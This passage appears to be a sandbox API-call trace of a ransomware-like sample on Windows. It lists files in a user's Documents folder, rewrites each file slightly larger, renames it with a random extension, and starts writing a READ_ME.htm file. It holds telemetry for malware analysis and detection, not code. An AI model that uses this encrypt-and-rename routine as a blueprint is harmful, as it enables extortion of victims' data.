cAlternateFileName="8AIKGZ~1.ODT")) returned 1 [0154.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa95260a0, ftCreationTime.dwHighDateTime=0x1d8b640, ftLastAccessTime.dwLowDateTime=0xb1792150, ftLastAccessTime.dwHighDateTime=0x1d8bc54, ftLastWriteTime.dwLowDateTime=0xb1792150, ftLastWriteTime.dwHighDateTime=0x1d8bc54, nFileSizeHigh=0x0, nFileSizeLow=0x15cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="LZmok.pdf", cAlternateFileName="")) returned 1 [0154.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe27b0, ftCreationTime.dwHighDateTime=0x1d8b534, ftLastAccessTime.dwLowDateTime=0xe0f6e3d0, ftLastAccessTime.dwHighDateTime=0x1d8b8a9, ftLastWriteTime.dwLowDateTime=0xe0f6e3d0, ftLastWriteTime.dwHighDateTime=0x1d8b8a9, nFileSizeHigh=0x0, nFileSizeLow=0x12dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pXTOnk25mpA16xy.odp", cAlternateFileName="PXTONK~1.ODP")) returned 1 [0154.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfd040, ftCreationTime.dwHighDateTime=0x1d8bd3b, ftLastAccessTime.dwLowDateTime=0x7d6b46a0, ftLastAccessTime.dwHighDateTime=0x1d8bd52, ftLastWriteTime.dwLowDateTime=0x7d6b46a0, ftLastWriteTime.dwHighDateTime=0x1d8bd52, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="xymCfQvs0a.xls", cAlternateFileName="XYMCFQ~1.XLS")) returned 1 [0154.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfd040, ftCreationTime.dwHighDateTime=0x1d8bd3b, ftLastAccessTime.dwLowDateTime=0x7d6b46a0, ftLastAccessTime.dwHighDateTime=0x1d8bd52, ftLastWriteTime.dwLowDateTime=0x7d6b46a0, ftLastWriteTime.dwHighDateTime=0x1d8bd52, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="xymCfQvs0a.xls", cAlternateFileName="XYMCFQ~1.XLS")) returned 0 [0154.826] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.827] SetErrorMode (uMode=0x0) returned 0x1 [0154.827] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4", lpFilePart=0x0) returned 0x2c [0154.827] SetErrorMode (uMode=0x1) returned 0x0 [0154.827] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb644e960, ftCreationTime.dwHighDateTime=0x1d8b481, ftLastAccessTime.dwLowDateTime=0x1329f310, ftLastAccessTime.dwHighDateTime=0x1d8b8b4, ftLastWriteTime.dwLowDateTime=0x1329f310, ftLastWriteTime.dwHighDateTime=0x1d8b8b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.827] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb644e960, ftCreationTime.dwHighDateTime=0x1d8b481, ftLastAccessTime.dwLowDateTime=0x1329f310, ftLastAccessTime.dwHighDateTime=0x1d8b8b4, ftLastWriteTime.dwLowDateTime=0x1329f310, ftLastWriteTime.dwHighDateTime=0x1d8b8b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.827] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81095270, ftCreationTime.dwHighDateTime=0x1d8b753, ftLastAccessTime.dwLowDateTime=0xe6533690, ftLastAccessTime.dwHighDateTime=0x1d8c041, ftLastWriteTime.dwLowDateTime=0xe6533690, ftLastWriteTime.dwHighDateTime=0x1d8c041, nFileSizeHigh=0x0, nFileSizeLow=0x1831b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8 aikgzugk.odt", cAlternateFileName="8AIKGZ~1.ODT")) returned 1 [0154.828] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa95260a0, ftCreationTime.dwHighDateTime=0x1d8b640, ftLastAccessTime.dwLowDateTime=0xb1792150, ftLastAccessTime.dwHighDateTime=0x1d8bc54, ftLastWriteTime.dwLowDateTime=0xb1792150, ftLastWriteTime.dwHighDateTime=0x1d8bc54, nFileSizeHigh=0x0, nFileSizeLow=0x15cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="LZmok.pdf", cAlternateFileName="")) returned 1 [0154.828] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe27b0, ftCreationTime.dwHighDateTime=0x1d8b534, ftLastAccessTime.dwLowDateTime=0xe0f6e3d0, ftLastAccessTime.dwHighDateTime=0x1d8b8a9, ftLastWriteTime.dwLowDateTime=0xe0f6e3d0, ftLastWriteTime.dwHighDateTime=0x1d8b8a9, nFileSizeHigh=0x0, nFileSizeLow=0x12dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pXTOnk25mpA16xy.odp", cAlternateFileName="PXTONK~1.ODP")) returned 1 [0154.828] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfd040, ftCreationTime.dwHighDateTime=0x1d8bd3b, ftLastAccessTime.dwLowDateTime=0x7d6b46a0, ftLastAccessTime.dwHighDateTime=0x1d8bd52, ftLastWriteTime.dwLowDateTime=0x7d6b46a0, ftLastWriteTime.dwHighDateTime=0x1d8bd52, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="xymCfQvs0a.xls", cAlternateFileName="XYMCFQ~1.XLS")) returned 1 [0154.828] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfd040, ftCreationTime.dwHighDateTime=0x1d8bd3b, ftLastAccessTime.dwLowDateTime=0x7d6b46a0, ftLastAccessTime.dwHighDateTime=0x1d8bd52, ftLastWriteTime.dwLowDateTime=0x7d6b46a0, ftLastWriteTime.dwHighDateTime=0x1d8bd52, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="xymCfQvs0a.xls", cAlternateFileName="XYMCFQ~1.XLS")) returned 0 [0154.828] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.828] SetErrorMode (uMode=0x0) returned 0x1 [0154.828] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt", lpFilePart=0x0) returned 0x3b [0154.828] SetErrorMode (uMode=0x1) returned 0x0 [0154.829] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\8 aikgzugk.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.829] GetFileType (hFile=0x1d0) returned 0x1 [0154.829] SetErrorMode (uMode=0x0) returned 0x1 [0154.829] GetFileType (hFile=0x1d0) returned 0x1 [0154.829] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1831b [0154.830] ReadFile (in: hFile=0x1d0, lpBuffer=0x129b0f20, nNumberOfBytesToRead=0x1831b, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x129b0f20*, lpNumberOfBytesRead=0x21d358*=0x1831b, lpOverlapped=0x0) returned 1 [0154.857] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt", lpFilePart=0x0) returned 0x3b [0154.858] SetErrorMode (uMode=0x1) returned 0x0 [0154.858] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\8 aikgzugk.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.860] GetFileType (hFile=0x1d0) returned 0x1 [0154.860] SetErrorMode (uMode=0x0) returned 0x1 [0154.860] GetFileType (hFile=0x1d0) returned 0x1 [0154.860] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a29f40*, nNumberOfBytesToWrite=0x18320, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12a29f40*, lpNumberOfBytesWritten=0x21d3d8*=0x18320, lpOverlapped=0x0) returned 1 [0154.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt", lpFilePart=0x0) returned 0x3b [0154.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt.xdemuf", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt.xdemuf", lpFilePart=0x0) returned 0x42 [0154.864] SetErrorMode (uMode=0x1) returned 0x0 [0154.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\8 aikgzugk.odt"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81095270, ftCreationTime.dwHighDateTime=0x1d8b753, ftLastAccessTime.dwLowDateTime=0xe6533690, ftLastAccessTime.dwHighDateTime=0x1d8c041, ftLastWriteTime.dwLowDateTime=0x58c7c000, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x18320)) returned 1 [0154.864] SetErrorMode (uMode=0x0) returned 0x1 [0154.864] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\8 aikgzugk.odt"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\8 aikgzugk.odt.xdemuf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\8 aikgzugk.odt.xdemuf")) returned 1 [0154.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf", lpFilePart=0x0) returned 0x36 [0154.867] SetErrorMode (uMode=0x1) returned 0x0 [0154.867] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\lzmok.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.868] GetFileType (hFile=0x1d0) returned 0x1 [0154.868] SetErrorMode (uMode=0x0) returned 0x1 [0154.868] GetFileType (hFile=0x1d0) returned 0x1 [0154.868] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x15cea [0154.868] ReadFile (in: hFile=0x1d0, lpBuffer=0x12a42290, nNumberOfBytesToRead=0x15cea, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x12a42290*, lpNumberOfBytesRead=0x21d358*=0x15cea, lpOverlapped=0x0) returned 1 [0154.960] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf", lpFilePart=0x0) returned 0x36 [0154.960] SetErrorMode (uMode=0x1) returned 0x0 [0154.960] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\lzmok.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.962] GetFileType (hFile=0x1d0) returned 0x1 [0154.962] SetErrorMode (uMode=0x0) returned 0x1 [0154.962] GetFileType (hFile=0x1d0) returned 0x1 [0154.963] WriteFile (in: hFile=0x1d0, lpBuffer=0x12aaf3c0*, nNumberOfBytesToWrite=0x15cf0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12aaf3c0*, lpNumberOfBytesWritten=0x21d3d8*=0x15cf0, lpOverlapped=0x0) returned 1 [0154.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf", lpFilePart=0x0) returned 0x36 [0154.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf.vdlv3o", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf.vdlv3o", lpFilePart=0x0) returned 0x3d [0154.965] SetErrorMode (uMode=0x1) returned 0x0 [0154.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\lzmok.pdf"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa95260a0, ftCreationTime.dwHighDateTime=0x1d8b640, ftLastAccessTime.dwLowDateTime=0xb1792150, ftLastAccessTime.dwHighDateTime=0x1d8bc54, ftLastWriteTime.dwLowDateTime=0x58d869a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x15cf0)) returned 1 [0154.965] SetErrorMode (uMode=0x0) returned 0x1 [0154.966] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\lzmok.pdf"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\LZmok.pdf.vdlv3o" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\lzmok.pdf.vdlv3o")) returned 1 [0154.968] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp", lpFilePart=0x0) returned 0x40 [0154.968] SetErrorMode (uMode=0x1) returned 0x0 [0154.968] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\pxtonk25mpa16xy.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.969] GetFileType (hFile=0x1d0) returned 0x1 [0154.969] SetErrorMode (uMode=0x0) returned 0x1 [0154.969] GetFileType (hFile=0x1d0) returned 0x1 [0154.969] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x12dc [0154.969] ReadFile (in: hFile=0x1d0, lpBuffer=0x28cda08, nNumberOfBytesToRead=0x12dc, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28cda08*, lpNumberOfBytesRead=0x21d358*=0x12dc, lpOverlapped=0x0) returned 1 [0154.987] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp", lpFilePart=0x0) returned 0x40 [0154.987] SetErrorMode (uMode=0x1) returned 0x0 [0154.987] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\pxtonk25mpa16xy.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.988] GetFileType (hFile=0x1d0) returned 0x1 [0154.989] SetErrorMode (uMode=0x0) returned 0x1 [0154.989] GetFileType (hFile=0x1d0) returned 0x1 [0154.989] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b3688*, nNumberOfBytesToWrite=0x12e0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29b3688*, lpNumberOfBytesWritten=0x21d3d8*=0x12e0, lpOverlapped=0x0) returned 1 [0154.992] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp", lpFilePart=0x0) returned 0x40 [0154.992] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp.lrypin", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp.lrypin", lpFilePart=0x0) returned 0x47 [0154.992] SetErrorMode (uMode=0x1) returned 0x0 [0154.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\pxtonk25mpa16xy.odp"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe27b0, ftCreationTime.dwHighDateTime=0x1d8b534, ftLastAccessTime.dwLowDateTime=0xe0f6e3d0, ftLastAccessTime.dwHighDateTime=0x1d8b8a9, ftLastWriteTime.dwLowDateTime=0x58dd2c60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12e0)) returned 1 [0154.992] SetErrorMode (uMode=0x0) returned 0x1 [0154.992] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\pxtonk25mpa16xy.odp"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\pXTOnk25mpA16xy.odp.lrypin" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\pxtonk25mpa16xy.odp.lrypin")) returned 1 [0154.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls", lpFilePart=0x0) returned 0x3b [0154.993] SetErrorMode (uMode=0x1) returned 0x0 [0154.993] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\xymcfqvs0a.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.993] GetFileType (hFile=0x1d0) returned 0x1 [0154.993] SetErrorMode (uMode=0x0) returned 0x1 [0154.994] GetFileType (hFile=0x1d0) returned 0x1 [0154.994] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x4e6 [0154.994] ReadFile (in: hFile=0x1d0, lpBuffer=0x29b5db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29b5db8*, lpNumberOfBytesRead=0x21d358*=0x4e6, lpOverlapped=0x0) returned 1 [0155.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls", lpFilePart=0x0) returned 0x3b [0155.084] SetErrorMode (uMode=0x1) returned 0x0 [0155.085] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\xymcfqvs0a.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.087] GetFileType (hFile=0x1d0) returned 0x1 [0155.087] SetErrorMode (uMode=0x0) returned 0x1 [0155.087] GetFileType (hFile=0x1d0) returned 0x1 [0155.087] WriteFile (in: hFile=0x1d0, lpBuffer=0x28717f8*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x21d2f8, lpOverlapped=0x0 | out: lpBuffer=0x28717f8*, lpNumberOfBytesWritten=0x21d2f8*=0x4f0, lpOverlapped=0x0) returned 1 [0155.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls", lpFilePart=0x0) returned 0x3b [0155.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls.72ykhx", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls.72ykhx", lpFilePart=0x0) returned 0x42 [0155.088] SetErrorMode (uMode=0x1) returned 0x0 [0155.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\xymcfqvs0a.xls"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfd040, ftCreationTime.dwHighDateTime=0x1d8bd3b, ftLastAccessTime.dwLowDateTime=0x7d6b46a0, ftLastAccessTime.dwHighDateTime=0x1d8bd52, ftLastWriteTime.dwLowDateTime=0x58eb74a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0155.089] SetErrorMode (uMode=0x0) returned 0x1 [0155.089] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\xymcfqvs0a.xls"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\xymCfQvs0a.xls.72ykhx" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\xymcfqvs0a.xls.72ykhx")) returned 1 [0155.090] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0155.091] SetErrorMode (uMode=0x1) returned 0x0 [0155.091] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.096] GetFileType (hFile=0x1d0) returned 0x1 [0155.096] SetErrorMode (uMode=0x0) returned 0x1 [0155.096] GetFileType (hFile=0x1d0) returned 0x1 [0155.096] WriteFile (in: hFile=0x1d0, lpBuffer=0x28765a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: 